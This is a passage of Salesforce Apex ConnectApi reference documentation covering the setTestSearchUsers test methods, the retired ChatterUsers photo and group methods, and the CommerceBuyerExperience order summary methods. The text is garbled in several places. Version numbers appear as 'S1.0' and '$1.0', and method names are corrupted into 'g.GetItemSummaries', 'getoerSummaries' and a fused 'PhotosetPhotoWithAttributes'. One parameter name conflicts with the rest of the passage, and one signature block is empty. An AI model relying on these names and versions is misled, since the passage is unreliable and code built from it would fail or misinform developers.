  Use the ID for an Experience Cloud site, `internal`, or `null`.

- `q`
  Type: `String`
  Required and cannot be `null`. Specifies the string to search. The search string must contain at least two characters, not including wildcards. See `Wildcards`.

- `result`
  Type: `ConnectApi.UserPage`
  The object containing test data.
Return Value
Type: Void

SEE ALSO:
searchUsers(communityId, q)
Testing ConnectApi Code

setTestSearchUsers(communityId, q, pageParam, pageSize, result)
Register a ConnectApi.UserPage object to be returned when the matching ConnectApi.searchUsers method is called in a test context. Use the method with the same parameters or you receive an exception.

API Version
28.0

Signature
public static Void setTestSearchUsers(String communityId, String q, Integer pageParam, Integer pageSize, ConnectApi.UserPage result)

Parameters
communityId
Type: String
Use the ID for an Experience Cloud site, internal, or null.

q
Type: String
Required and cannot be null. Specifies the string to search. The search string must contain at least two characters, not including wildcards. See Wildcards.

pageParam
Type: Integer
Specifies the number of the page you want returned. Starts at 0. If you pass in null or 0, the first page is returned.

pageSize
Type: Integer
Specifies the number of items per page. Valid values are from 1 through 100. If you pass in null, the default size is 25.

result
Type: ConnectApi.UserPage
The object containing test data.
Return Value
Type: Void

SEE ALSO:
searchUsers(communityId, q, pageParam, pageSize)
Testing ConnectApi Code

setTestSearchUsers(communityId, q, searchContextId, pageParam, pageSize, result)
Register a ConnectApi.UserPage object to be returned when the matching ConnectApi.searchUsers method is called in a test context. Use the method with the same parameters or you receive an exception.

API Version
28.0

Signature
public static Void setTestSearchUsers(String communityId, String q, String searchContextId, Integer pageParam, Integer pageSize, ConnectApi.UserPage result)

Parameters
communityId
Type: String
Use the ID for an Experience Cloud site, internal, or null.

q
Type: String
Required and cannot be null. Specifies the string to search. The search string must contain at least two characters, not including wildcards. See Wildcards.

searchContextId
Type: String
A feed item ID that filters search results for feed @mentions. More useful results are listed first. When you specify this argument, you cannot query more than 500 results and you cannot use wildcards in the search term.

pageParam
Type: Integer
Specifies the number of the page you want returned. Starts at 0. If you pass in null or 0, the first page is returned.

pageSize
Type: Integer
Specifies the number of items per page. Valid values are from 1 through 100. If you pass in null, the default size is 25.

result
Type: ConnectApi.UserPage
The object containing test data.
Return Value
Type: Void

SEE ALSO:

Testing ConnectApi Code

Retired ChatterUsers Methods
The following methods for ChatterUsers are retired.

IN THIS SECTION:
deletePhoto(communityId, userId)
Delete a user’s photo.
getGroups(communityId, userId)
Get the groups that a user is a member of.
getGroups(communityId, userId, pageParam, pageSize)
Get a page of groups that a user is a member of.
getPhoto(communityId, userId)
Get a user’s photo.
searchUserGroups(communityId, userId, q)
Get the user’s groups that match the search criteria.
searchUserGroups(communityId, userId, q, pageParam, pageSize)
Get a page of a user’s groups that match the search criteria.
setPhoto(communityId, userId, fileId, versionNumber)
Set an uploaded file as a user’s photo.
setPhoto(communityId, userId, fileUpload)
Set a file that hasn’t been uploaded as the user’s photo.
setPhotoWithAttributes(communityId, userId, photo)
Set and crop an uploaded file as a user’s photo.
setPhotoWithAttributes(communityId, userId, photo, fileUpload)
Set and crop a file that hasn’t been uploaded as a user’s photo.

deletePhoto(communityId, userId)
Delete a user’s photo.

API Version
28.0–34.0

Important: In version 35.0 and later, use ConnectApi.UserProfiles.deletePhoto(communityId, userId)
Signature

```java
public static Void deletePhoto(String communityId, String userId)
```

Parameters

- **communityId**
  - Type: String
  - Use the ID for an Experience Cloud site, internal, or null.

- **userId**
  - Type: String
  - The ID for the context user or the keyword `me`.

Return Value

Type: Void

**getGroups(communityId, userId)**

Get the groups that a user is a member of.

API Version

28.0–44.0

⚠️ **Important:** In version 45.0 and later, use `getUserGroups(communityId, userId)`.

Available to Guest Users

32.0–44.0

Requires Chatter

Yes

Signature

```java
public static ConnectApi.UserGroupPage getGroups(String communityId, String userId)
```

Parameters

- **communityId**
  - Type: String
  - Use the ID for an Experience Cloud site, internal, or null.

- **userId**
  - Type: String
  - The ID for a user.
Return Value
Type: `ConnectApi.UserGroupPage`

**getGroups(communityId, userId, pageParam, pageSize)**
Get a page of groups that a user is a member of.

API Version
28.0–44.0

⚠️ **Important:** In version 45.0 and later, use `getUserGroups(communityId, userId, pageParam, pageSize)`.

Available to Guest Users
32.0–44.0

Requires Chatter
Yes

Signature

```java
public static ConnectApi.UserGroupPage getGroups(String communityId, String userId, Integer pageParam, Integer pageSize)
```

Parameters

`communityId`
Type: `String`
Use the ID for an Experience Cloud site, `internal`, or `null`.

`userId`
Type: `String`
The ID for a user.

`pageParam`
Type: `Integer`
Specifies the number of the page you want returned. Starts at 0. If you pass in `null` or 0, the first page is returned.

`pageSize`
Type: `Integer`
Specifies the number of items per page. Valid values are from 1 through 100. If you pass in `null`, the default size is 25.

Return Value
Type: `ConnectApi.UserGroupPage`

**getPhoto(communityId, userId)**
Get a user’s photo.
API Version
28.0–34.0

⚠️ Important: In version 35.0 and later, use `ConnectApi.UserProfiles.getPhoto(communityId, userId)`.

Available to Guest Users
32.0

Requires Chatter
Yes

Signature
```
public static ConnectApi.Photo getPhoto(String communityId, String userId)
```

Parameters
- `communityId`
  - Type: `String`
  - Use the ID for an Experience Cloud site, internal, or `null`.

- `userId`
  - Type: `String`
  - The ID for a user.

Return Value
Type: `ConnectApi.Photo`

```
searchUserGroups(communityId, userId, q)
```
Get the user’s groups that match the search criteria.

API Version
30.0–44.0

⚠️ Important: In version 45.0 and later, use `searchUserGroupDetails(communityId, userId, q)`.

Available to Guest Users
32.0–44.0

Requires Chatter
Yes
Signature

```java
public static ConnectApi.UserGroupPage searchUserGroups(String communityId, String userId, String q)
```

Parameters

- **communityId**
  - Type: String
  - Use the ID for an Experience Cloud site, internal, or null.

- **userId**
  - Type: String
  - The ID for a user.

- **q**
  - Type: String
  - Required and cannot be null. Specifies the string to search. The search string must contain at least two characters, not including wildcards. See Wildcards.

Return Value

Type: `ConnectApi.UserGroupPage`

```java
searchUserGroups(communityId, userId, q, pageParam, pageSize)
```

Get a page of a user’s groups that match the search criteria.

API Version

30.0–44.0

⚠️ **Important:** In version 45.0 and later, use `searchUserGroupDetails(communityId, userId, q, pageParam, pageSize)`.

Available to Guest Users

32.0–44.0

Requires Chatter

Yes

Signature

```java
public static ConnectApi.UserGroupPage searchUserGroups(String communityId, String userId, String q, Integer pageParam, Integer pageSize)
```

Parameters

- **communityId**
  - Type: String
Use the ID for an Experience Cloud site, `internal`, or `null`.

**userId**
Type: `String`
The ID for a user.

**q**
Type: `String`
Required and cannot be `null`. Specifies the string to search. The search string must contain at least two characters, not including wildcards. See Wildcards.

**pageParam**
Type: `Integer`
Specifies the number of the page you want returned. Starts at 0. If you pass in `null` or 0, the first page is returned.

**pageSize**
Type: `Integer`
Specifies the number of items per page. Valid values are from 1 through 100. If you pass in `null`, the default size is 25.

Return Value
Type: `ConnectApi.UserGroupPage`

**setPhoto(communityId, userId, fileId, versionNumber)**
Set an uploaded file as a user’s photo.

API Version
28.0–34.0

⚠️ **Important:** In version 35.0 and later, use `ConnectApi.UserProfiles.setPhoto(communityId, userId, fileId, versionNumber)`

Requires Chatter
Yes

Signature
```
public static ConnectApi.Photo setPhoto(String communityId, String userId, String fileId, Integer versionNumber)
```

Parameters

**communityId**
Type: `String`
Use the ID for an Experience Cloud site, `internal`, or `null`.

**userId**
Type: `String`
The ID for the context user or the keyword `me`. 
 fileId
 Type: String
 ID of a file already uploaded. The file must be an image, and be smaller than 2 GB.

 versionNumber
 Type: Integer
 Version number of the existing file. Specify either an existing version number, or null to get the latest version.

Return Value
 Type: ConnectApi.Photo

Usage
 Photos are processed asynchronously and may not be visible right away.

 setPhoto(communityId, userId, fileUpload)
 Set a file that hasn’t been uploaded as the user’s photo.

API Version
 28.0–34.0

⚠️ Important: In version 35.0 and later, use ConnectApi.UserProfiles.setPhoto(communityId, userId, fileUpload)

Requires Chatter
 Yes

Signature
 public static ConnectApi.Photo setPhoto(String communityId, String userId, ConnectApi.BinaryInput fileUpload)

Parameters

 communityId
 Type: String
 Use the ID for an Experience Cloud site, internal, or null.

 userId
 Type: String
 The ID for the context user or the keyword me.

 fileUpload
 Type: ConnectApi.BinaryInput
 A file to use as the photo. The content type must be usable as an image.
Return Value
Type: `ConnectApi.Photo`

Usage
Photos are processed asynchronously and may not be visible right away.

```java
setPhotoWithAttributes(communityId, userId, photo)
```
Set and crop an uploaded file as a user’s photo.

API Version
29.0–34.0

⚠️ **Important:** In version 35.0 and later, use

```java
ConnectApi.UserProfiles.setPhotoWithAttributes(communityId, userId, photo)
```

Requires Chatter
Yes

Signature
```java
public static ConnectApi.Photo setPhotoWithAttributes(String communityId, String userId, ConnectApi.PhotoInput photo)
```

Parameters
- `communityId`
  Type: `String`
  Use the ID for an Experience Cloud site, `internal`, or `null`.
- `userId`
  Type: `String`
  The ID for the context user or the keyword `me`.
- `photo`
  Type: `ConnectApi.PhotoInput`
  A `ConnectApi.PhotoInput` object specifying the file ID, version number, and cropping parameters.

Return Value
Type: `ConnectApi.Photo`

Usage
Photos are processed asynchronously and may not be visible right away.
setPhotoWithAttributes(communityId, userId, photo, fileUpload)

Set and crop a file that hasn't been uploaded as a user's photo.

API Version
29.0–34.0

Important: In version 35.0 and later, use

ConnectApi.UserProfiles.setPhotoWithAttributes(communityId, userId, photo, fileUpload)

Requires Chatter
Yes

Signature
public static ConnectApi.PhotosetPhotoWithAttributes(String communityId, String userId, ConnectApi.PhotoInput photo, ConnectApi.BinaryInput fileUpload)

Parameters
communityId
Type: String
Use the ID for an Experience Cloud site, internal, or null.

userId
Type: String
The ID for the context user or the keyword me.

photo
Type: ConnectApi.PhotoInput
A ConnectApi.PhotoInput object specifying the cropping parameters.

fileUpload
Type: ConnectApi.BinaryInput
A file to use as the photo. The content type must be usable as an image.

Return Value
Type: ConnectApi.Photo

Usage
Photos are processed asynchronously and may not be visible right away.

CommerceBuyerExperience Class
Get order delivery group, order item, and order summaries.
Namespace

ConnectApi

CommerceBuyerExperience Methods

These methods are for CommerceBuyerExperience. All methods are static.

IN THIS SECTION:

getOrderDeliveryGroupSummaries(webstoreId, effectiveAccountId, orderSummaryId)
Get order delivery group summaries.

getOrderDeliveryGroupSummaries(webstoreId, effectiveAccountId, orderSummaryId, pageSize)
Get order delivery group summaries.

getOrderDeliveryGroupSummaries(webstoreId, effectiveAccountId, orderSummaryId, pageParam)
Get a page of order delivery group summaries.

getOrderDeliveryGroupSummaries(webstoreId, effectiveAccountId, orderSummaryId, fields)
Get order delivery group summaries with specific fields.

getOrderDeliveryGroupSummaries(webstoreId, effectiveAccountId, orderSummaryId, pageParam, fields)
Get a page of order delivery group summaries with specific fields.

getOrderDeliveryGroupSummaries(webstoreId, effectiveAccountId, orderSummaryId, fields, pageSize)
Get order delivery group summaries with specific fields.

getOrderDeliveryGroupSummaries(webstoreId, effectiveAccountId, orderSummaryId, fields, sortParam)
Get a sorted list of order delivery group summaries with specific fields.

getOrderDeliveryGroupSummaries(webstoreId, effectiveAccountId, orderSummaryId, fields, pageSize, sortParam)
Get a sorted list of order delivery group summaries with specific fields.

g.GetItemSummaries(webstoreId, effectiveAccountId, orderSummaryId)
Get order item summaries.

g.GetItemSummaries(webstoreId, effectiveAccountId, orderSummaryId, pageSize)
Get order item summaries.

g.GetItemSummaries(webstoreId, effectiveAccountId, orderSummaryId, orderDeliveryGroupSummaryId)
Get order item summaries for a delivery group summary.

g.GetItemSummaries(webstoreId, effectiveAccountId, orderSummaryId, orderDeliveryGroupSummaryId, pageSize)
Get order item summaries for a delivery group summary.

g.GetItemSummaries(webstoreId, effectiveAccountId, orderSummaryId, orderDeliveryGroupSummaryId, pageParam)
Get a page of order item summaries for a delivery group summary.

g.GetItemSummaries(webstoreId, effectiveAccountId, orderSummaryId, orderDeliveryGroupSummaryId, fields)
Get order item summaries for a delivery group summary with specific fields.

g.GetItemSummaries(webstoreId, effectiveAccountId, orderSummaryId, orderDeliveryGroupSummaryId, fields, pageSize)
Get order item summaries for a delivery group summary with specific fields.

g.GetItemSummaries(webstoreId, effectiveAccountId, orderSummaryId, orderDeliveryGroupSummaryId, fields, pageParam)
Get a page of order item summaries for a delivery group summary with specific fields.
getOrderItemSummaries(webstoreId, effectiveAccountId, orderSummaryId, orderDeliveryGroupSummaryId, fields, sortParam)
Get a sorted list of order item summaries for a delivery group summary with specific fields.

getoerOrderItemSummaries(webstoreId, effectiveAccountId, orderSummaryId, orderDeliveryGroupSummaryId, fields, pageSize, sortParam)
Get a sorted page of order item summaries for a delivery group summary with specific fields.

getoerSummaries(webstoreId)
Get order summaries.

getoerSummaries(webstoreId, effectiveAccountId)
Get order summaries.

getoerSummaries(webstoreId, effectiveAccountId, fields)
Get order summaries with specific fields.

getoerSummaries(webstoreId, effectiveAccountId, fields, pageSize, pageToken)
Get a page of order summaries with specific fields.

getoerSummaries(webstoreId, effectiveAccountId, fields, pageSize, pageToken, sortOrder)
Get a sorted page of order summaries with specific fields.

getoerSummaries(webstoreId, effectiveAccountId, fields, pageSize, pageToken, sortOrder, earliestDate, latestDate)
Get a sorted page of order summaries with specific fields within a specific date range.

getoerSummaries(webstoreId, effectiveAccountId, fields, pageSize, pageToken, sortOrder, earliestDate, latestDate, ownerScoped)
Get a sorted page of order summaries with specific fields within a specific date range and scoped to orders owned by the context user.

getOrderDeliveryGroupSummaries(webstoreId, effectiveAccountId, orderSummaryId)
Get order delivery group summaries.

API Version
S1.0

Requires Chatter
No

Signature
public static ConnectApi.OrderDeliveryGroupSummaryCollection getorderDeliveryGroupSummaries(String webstoreId, String effectiveAccountId, String orderSummaryId)

Parameters
webstoreId
Type: String
ID of the webstore.

effectiveAccountId
Type: String
ID of the account for which the request is made. If null, defaults to the account ID for the context user.

**orderSummaryId**
Type: String
ID of the order summary.

Return Value
Type: ConnectApi.OrderDeliveryGroupSummaryCollection

`getOrderDeliveryGroupSummaries(webstoreId, effectiveAccountId, orderSummaryId, pageSize)`
Get order delivery group summaries.

API Version
51.0

Requires Chatter
No

Signature
`public static ConnectApi.OrderDeliveryGroupSummaryCollection getOrderDeliveryGroupSummaries(String webstoreId, String effectiveAccountId, String orderSummaryId, Integer pageSize)`

Parameters
**webstoreId**
Type: String
ID of the webstore.

**effectiveAccountId**
Type: String
ID of the account for which the request is made. If null, defaults to the account ID for the context user.

**orderSummaryId**
Type: String
ID of the order summary.

**pageSize**
Type: Integer
Specifies the number of items per page. Valid values are from 1 through 100. If you pass in null, the default size is 25.

Return Value
Type: ConnectApi.OrderDeliveryGroupSummaryCollection
getOrderDeliveryGroupSummaries(webstoreId, effectiveAccountId, orderSummaryId, pageParam)

Get a page of order delivery group summaries.

API Version
$1.0

Requires Chatter
No

Signature
public static ConnectApi.OrderDeliveryGroupSummaryCollection
getOrderDeliveryGroupSummaries(String webstoreId, String effectiveAccountId, String
orderSummaryId, String pageParam)

Parameters
webstoreId
Type: String
ID of the webstore.

effectiveAccountId
Type: String
ID of the account for which the request is made. If null, defaults to the account ID for the context user.

orderSummaryId
Type: String
ID of the order summary.

pageParam
Type: String
Specifies the page token to be used to view a page of information. Page tokens are returned as part of the response class, such as currentPageToken or nextPageToken. If you pass in null, the first page is returned.

Return Value
Type: ConnectApi.OrderDeliveryGroupSummaryCollection

getOrderDeliveryGroupSummaries(webstoreId, effectiveAccountId, orderSummaryId, fields)

Get order delivery group summaries with specific fields.

API Version
$1.0
Requires Chatter
No

Signature
public static ConnectApi.OrderDeliveryGroupSummaryCollection
getOrderDeliveryGroupSummaries(String webstoreId, String effectiveAccountId, String orderSummaryId, List<String> fields)

Parameters
webstoreId
Type: String
ID of the webstore.
effectiveAccountId
Type: String
ID of the account for which the request is made. If null, defaults to the account ID for the context user.
orderSummaryId
Type: String
ID of the order summary.
fields
Type: List<String>
List of up to 15 order delivery group summary or order delivery method fields to display in the UI in each item row.

Return Value
Type: ConnectApi.OrderDeliveryGroupSummaryCollection

getOrderDeliveryGroupSummaries(webstoreId, effectiveAccountId, orderSummaryId, pageParam, fields)
Get a page of order delivery group summaries with specific fields.

API Version
51.0

Requires Chatter
No

Signature
public static ConnectApi.OrderDeliveryGroupSummaryCollection
getOrderDeliveryGroupSummaries(String webstoreId, String effectiveAccountId, String orderSummaryId, String pageParam, List<String> fields)
Parameters

webstoreId
  Type: String
  ID of the webstore.

effectiveAccountId
  Type: String
  ID of the account for which the request is made. If null, defaults to the account ID for the context user.

orderSummaryId
  Type: String
  ID of the order summary.

pageParam
  Type: String
  Specifies the page token to be used to view a page of information. Page tokens are returned as part of the response class, such as currentPageToken or nextPageToken. If you pass in null, the first page is returned.

fields
  Type: List<String>
  List of up to 15 order delivery group summary or order delivery method fields to display in the UI in each item row.

Return Value

Type: ConnectApi.OrderDeliveryGroupSummaryCollection

getOrderDeliveryGroupSummaries(webstoreId, effectiveAccountId, orderSummaryId, fields, pageSize)

Get order delivery group summaries with specific fields.

API Version

51.0

Requires Chatter

No

Signature

public static ConnectApi.OrderDeliveryGroupSummaryCollection
getOrderDeliveryGroupSummaries(String webstoreId, String effectiveAccountId, String orderSummaryId, List<String> fields, Integer pageSize)

Parameters

webstoreId
  Type: String
  ID of the webstore.
effectiveAccountId
Type: String
ID of the account for which the request is made. If null, defaults to the account ID for the context user.

orderSummaryId
Type: String
ID of the order summary.

fields
Type: List<String>
List of up to 15 order delivery group summary or order delivery method fields to display in the UI in each item row.

pageSize
Type: Integer
Specifies the number of items per page. Valid values are from 1 through 100. If you pass in null, the default size is 25.

Return Value
Type: ConnectApi.OrderDeliveryGroupSummaryCollection

g.getOrderDeliveryGroupSummaries(webstoreId, effectiveAccountId, orderSummaryId, fields, sortParam)
Get a sorted list of order delivery group summaries with specific fields.

API Version
S1.0

Requires Chatter
No

Signature
public static ConnectApi.OrderDeliveryGroupSummaryCollection
g.getOrderDeliveryGroupSummaries(String webstoreId, String effectiveAccountId, String orderSummaryId, List<String> fields, ConnectApi.OrderDeliveryGroupSummarySort sortParam)

Parameters
webstoreId
Type: String
ID of the webstore.

effectiveAccountId
Type: String
ID of the account for which the request is made. If null, defaults to the account ID for the context user.

orderSummaryId
Type: String
ID of the order summary.

**fields**

Type: `List<String>`

List of up to 15 order delivery group summary or order delivery method fields to display in the UI in each item row.

**sortParam**

Type: `ConnectApi.OrderDeliveryGroupSummarySort`

Sort order for order delivery group summaries. Values are:

- **IdAsc**—Sorts by ID in ascending alphanumeric order (A–Z, 0–9).
- **IdDesc**—Sorts by ID in descending alphanumeric order (Z–A, 9–0).

If `null`, `IdAsc` is the default sort order.

Return Value

Type: `ConnectApi.OrderDeliveryGroupSummaryCollection`

### `getOrderDeliveryGroupSummaries(webstoreId, effectiveAccountId, orderSummaryId, fields, pageSize, sortParam)`

Get a sorted list of order delivery group summaries with specific fields.

**API Version**

51.0

**Requires Chatter**

No

**Signature**

```java
public static ConnectApi.OrderDeliveryGroupSummaryCollection
getOrderDeliveryGroupSummaries(String webstoreId, String effectiveAccountId, String orderSummaryId, List<String> fields, Integer pageSize, ConnectApi.OrderDeliveryGroupSummarySort sortParam)
```

**Parameters**

- **webstoreId**
  
  Type: `String`
  
  ID of the webstore.

- **effectiveAccountId**
  
  Type: `String`
  
  ID of the account for which the request is made. If `null`, defaults to the account ID for the context user.

- **orderSummaryId**
  
  Type: `String`
  
  ID of the order summary.
**fields**
Type: `List<String>`
List of up to 15 order delivery group summary or order delivery method fields to display in the UI in each item row.

**pageSize**
Type: `Integer`
Specifies the number of items per page. Valid values are from 1 through 100. If you pass in `null`, the default size is 25.

**sortParam**
Type: `ConnectApi.OrderDeliveryGroupSummarySort`
Sort order for order delivery group summaries. Values are:
- `IdAsc`—Sorts by ID in ascending alphanumeric order (A–Z, 0–9).
- `IdDesc`—Sorts by ID in descending alphanumeric order (Z–A, 9–0).
If `null`, `IdAsc` is the default sort order.

Return Value
Type: `ConnectApi.OrderDeliveryGroupSummaryCollection`

**getOrderItemSummaries(webstoreId, effectiveAccountId, orderSummaryId)**
Get order item summaries.

API Version
S1.0

Requires Chatter
No

Signature
```java
public static ConnectApi.OrderItemSummaryCollection getOrderItemSummaries(String webstoreId, String effectiveAccountId, String orderSummaryId)
```

Parameters

**webstoreId**
Type: `String`
ID of the webstore.

**effectiveAccountId**
Type: `String`
ID of the account for which the request is made. If `null`, defaults to the account ID for the context user.

**orderSummaryId**
Type: `String`
ID of the order summary.
Return Value

Type: ConnectApi.OrderItemSummaryCollection

getOrderItemSummaries(webstoreId, effectiveAccountId, orderSummaryId, pageSize)

Get order item summaries.

API Version

$1.0

Requires Chatter

No

Signature

public static ConnectApi.OrderItemSummaryCollection getOrderItemSummaries(String webstoreId, String effectiveAccountId, String orderSummaryId, Integer pageSize)

Parameters

webstoreId

Type: String

ID of the webstore.

effectiveAccountId

Type: String

ID of the account for which the request is made. If null, defaults to the account ID for the context user.

orderSummaryId

Type: String

ID of the order summary.

pageSize

Type: Integer

Specifies the number of items per page. Valid values are from 1 through 100. If you pass in null, the default size is 25.

Return Value

Type: ConnectApi.OrderItemSummaryCollection

getOrderItemSummaries(webstoreId, effectiveAccountId, orderSummaryId, orderDeliveryGroupSummaryId)

Get order item summaries for a delivery group summary.

API Version

$1.0
Requires Chatter
No

Signature

```java
public static ConnectApi.OrderItemSummaryCollection getOrderItemSummaries(String webstoreId, String effectiveAccountId, String orderSummaryId, String orderDeliveryGroupSummaryId)
```

Parameters

- `webstoreId`
  Type: String
  ID of the webstore.

- `effectiveAccountId`
  Type: String
  ID of the account for which the request is made. If null, defaults to the account ID for the context user.

- `orderSummaryId`
  Type: String
  ID of the order summary.

- `orderDeliveryGroupSummaryId`
  Type: String
  ID of the order delivery group summary.

Return Value

Type: `ConnectApi.OrderItemSummaryCollection`

```java
getOrderItemSummaries(webstoreId, effectiveAccountId, orderSummaryId, orderDeliveryGroupSummaryId, pageSize)
```

Get order item summaries for a delivery group summary.

API Version

51.0

Requires Chatter
No

Signature

```java
public static ConnectApi.OrderItemSummaryCollection getOrderItemSummaries(String webstoreId, String effectiveAccountId, String orderSummaryId, String orderDeliveryGroupSummaryId, Integer pageSize)
```
Parameters

webstoreId
Type: String
ID of the webstore.

effectiveAccountId
Type: String
ID of the account for which the request is made. If null, defaults to the account ID for the context user.

orderSummaryId
Type: String
ID of the order summary.

orderDeliveryGroupSummaryId
Type: String
ID of the order delivery group summary.

pageSize
Type: Integer
Specifies the number of items per page. Valid values are from 1 through 100. If you pass in null, the default size is 25.

Return Value
Type: ConnectApi.OrderItemSummaryCollection

getOrderItemSummaries(webstoreId, effectiveAccountId, orderSummaryId, orderDeliveryGroupSummaryId, pageParam)
Get a page of order item summaries for a delivery group summary.

API Version
S1.0

Requires Chatter
No

Signature
public static ConnectApi.OrderItemSummaryCollection getOrderItemSummaries(String webstoreId, String effectiveAccountId, String orderSummaryId, String orderDeliveryGroupSummaryId, String pageParam)

Parameters

webstoreId
Type: String
ID of the webstore.
**effectiveAccountId**  
Type: String  
ID of the account for which the request is made. If null, defaults to the account ID for the context user.

**orderSummaryId**  
Type: String  
ID of the order summary.

**orderDeliveryGroupSummaryId**  
Type: String  
ID of the order delivery group summary.

**pageNumber**  
Type: String  
Specifies the page token to be used to view a page of information. Page tokens are returned as part of the response class, such as currentPageToken or nextPageToken. If you pass in null, the first page is returned.

**Return Value**  
Type: ConnectApi.OrderItemSummaryCollection

### getOrderItemSummaries(webstoreId, effectiveAccountId, orderSummaryId, orderDeliveryGroupSummaryId, fields)

Get order item summaries for a delivery group summary with specific fields.

**API Version**  
51.0

**Requires Chatter**  
No

**Signature**

```java
public static ConnectApi.OrderItemSummaryCollection getOrderItemSummaries(String webstoreId, String effectiveAccountId, String orderSummaryId, String orderDeliveryGroupSummaryId, List<String> fields)
```

**Parameters**

- **webstoreId**  
  Type: String  
  ID of the webstore.

- **effectiveAccountId**  
  Type: String  
  ID of the account for which the request is made. If null, defaults to the account ID for the context user.
**orderSummaryId**
Type: String
ID of the order summary.

**orderDeliveryGroupSummaryId**
Type: String
ID of the order delivery group summary.

**fields**
Type: List<String>
List of up to 15 order item summary or product fields to display in the UI in each item row.

**Return Value**
Type: ConnectApi.OrderItemSummaryCollection

**getOrderItemSummaries(webstoreId, effectiveAccountId, orderSummaryId, orderDeliveryGroupSummaryId, fields, pageSize)**
Get order item summaries for a delivery group summary with specific fields.

**API Version**
51.0

**Requires Chatter**
No

**Signature**
```java
public static ConnectApi.OrderItemSummaryCollection getOrderItemSummaries(String webstoreId, String effectiveAccountId, String orderSummaryId, String orderDeliveryGroupSummaryId, List<String> fields, Integer pageSize)
```

**Parameters**

**webstoreId**
Type: String
ID of the webstore.

**effectiveAccountId**
Type: String
ID of the account for which the request is made. If null, defaults to the account ID for the context user.

**orderSummaryId**
Type: String
ID of the order summary.

**orderDeliveryGroupSummaryId**
Type: String
ID of the order delivery group summary.

**fields**
Type: List<String>
List of up to 15 order item summary or product fields to display in the UI in each item row.

**pageSize**
Type: Integer
Specifies the number of items per page. Valid values are from 1 through 100. If you pass in `null`, the default size is 25.

Return Value
Type: `ConnectApi.OrderItemSummaryCollection`

**getOrderItemSummaries(webstoreId, effectiveAccountId, orderSummaryId, orderDeliveryGroupSummaryId, fields, pageParam)**
Get a page of order item summaries for a delivery group summary with specific fields.

**API Version**
51.0

**Requires Chatter**
No

**Signature**

```java
public static ConnectApi.OrderItemSummaryCollection getOrderItemSummaries(String webstoreId, String effectiveAccountId, String orderSummaryId, String orderDeliveryGroupSummaryId, List<String> fields, String pageParam)
```

**Parameters**

- **webstoreId**
  Type: String
  ID of the webstore.

- **effectiveAccountId**
  Type: String
  ID of the account for which the request is made. If `null`, defaults to the account ID for the context user.

- **orderSummaryId**
  Type: String
  ID of the order summary.

- **orderDeliveryGroupSummaryId**
  Type: String
  ID of the order delivery group summary.
**Fields**
- Type: `List<String>`
  - List of up to 15 order item summary or product fields to display in the UI in each item row.

**pageParam**
- Type: `String`
  - Specifies the page token to be used to view a page of information. Page tokens are returned as part of the response class, such as `currentPageToken` or `nextPageToken`. If you pass in `null`, the first page is returned.

**Return Value**
- Type: `ConnectApi.OrderItemSummaryCollection`

**getOrderItemSummaries(webstoreId, effectiveAccountId, orderSummaryId, orderDeliveryGroupSummaryId, fields, sortParam)**
Get a sorted list of order item summaries for a delivery group summary with specific fields.

**API Version**
- 51.0

**Requires Chatter**
- No

**Signature**
```java
public static ConnectApi.OrderItemSummaryCollection getOrderItemSummaries(String webstoreId, String effectiveAccountId, String orderSummaryId, String orderDeliveryGroupSummaryId, List<String> fields, ConnectApi.OrderItemSummarySort sortParam)
```

**Parameters**

- **webstoreId**
  - Type: `String`
  - ID of the webstore.

- **effectiveAccountId**
  - Type: `String`
  - ID of the account for which the request is made. If `null`, defaults to the account ID for the context user.

- **orderSummaryId**
  - Type: `String`
  - ID of the order summary.

- **orderDeliveryGroupSummaryId**
  - Type: `String`
  - ID of the order delivery group summary.
**Fields**
Type: `List<String>`
List of up to 15 order item summary or product fields to display in the UI in each item row.

**sortParam**
Type: `ConnectApi.OrderItemSummarySort`
Sort order for order item summaries. Values are:
- **IdAsc**—Sorts by ID in ascending alphanumeric order (A–Z, 0–9).
- **IdDesc**—Sorts by ID in descending alphanumeric order (Z–A, 9–0).
If `null`, `IdAsc` is the default sort order.

**Return Value**
Type: `ConnectApi.OrderItemSummaryCollection`

**getOrderItemSummaries**
`public static ConnectApi.OrderItemSummaryCollection getOrderItemSummaries(String webstoreId, String effectiveAccountId, String orderSummaryId, String orderDeliveryGroupSummaryId, List<String> fields, Integer pageSize, ConnectApi.OrderItemSummarySort sortParam)`
Get a sorted page of order item summaries for a delivery group summary with specific fields.

**API Version**
51.0

**Requires Chatter**
No

**Signature**

**Parameters**
**webstoreId**
Type: `String`
ID of the webstore.

**effectiveAccountId**
Type: `String`
ID of the account for which the request is made. If `null`, defaults to the account ID for the context user.

**orderSummaryId**
Type: `String`
ID of the order summary.
**orderDeliveryGroupSummaryId**
Type: **String**
ID of the order delivery group summary.

**fields**
Type: **List<String>**
List of up to 15 order item summary or product fields to display in the UI in each item row.

**pageSize**
Type: **Integer**
Specifies the number of items per page. Valid values are from 1 through 100. If you pass in null, the default size is 25.

**sortParam**
Type: **ConnectApi.OrderItemSummarySort**
Sort order for order item summaries. Values are:
- **IdAsc**—Sorts by ID in ascending alphanumeric order (A–Z, 0–9).
- **IdDesc**—Sorts by ID in descending alphanumeric order (Z–A, 9–0).
If null, IdAsc is the default sort order.

Return Value
Type: **ConnectApi.OrderItemSummaryCollection**

**getOrderSummaries(webstoreId)**
Get order summaries.

API Version
S1.0

Requires Chatter
No

Signature

```java
public static ConnectApi.OrderSummaryCollectionRepresentation getOrderSummaries(String webstoreId)
```

Parameters

- **webstoreId**
  Type: **String**
  ID of the webstore.

Return Value
Type: **ConnectApi.OrderSummaryCollectionRepresentation**
getOrderSummaries(webstoreId, effectiveAccountId)
Get order summaries.

API Version
51.0

Requires Chatter
No

Signature
public static ConnectApi.OrderSummaryCollectionRepresentation getOrderSummaries(String webstoreId, String effectiveAccountId)

Parameters
webstoreId
Type: String
ID of the webstore.

effectiveAccountId
Type: String
ID of the account for which the request is made. If null, defaults to the account ID for the context user.

Return Value
Type: ConnectApi.OrderSummaryCollectionRepresentation

getOrderSummaries(webstoreId, effectiveAccountId, fields)
Get order summaries with specific fields.

API Version
51.0

Requires Chatter
No

Signature
public static ConnectApi.OrderSummaryCollectionRepresentation getOrderSummaries(String webstoreId, String effectiveAccountId, List<String> fields)
Parameters

**webstoreId**
- Type: String
- ID of the webstore.

**effectiveAccountId**
- Type: String
- ID of the account for which the request is made. If null, defaults to the account ID for the context user.

**fields**
- Type: List<String>
- List of up to 15 additional order summary fields to display in the UI in each item row.
- These order summary fields are returned regardless of fields specified.
  - createdDate
  - orderSummaryId
  - orderNumber
  - orderedDate
  - ownerId
  - status
  - totalAmount

Return Value

Type: [ConnectApi.OrderSummaryCollectionRepresentation](#)

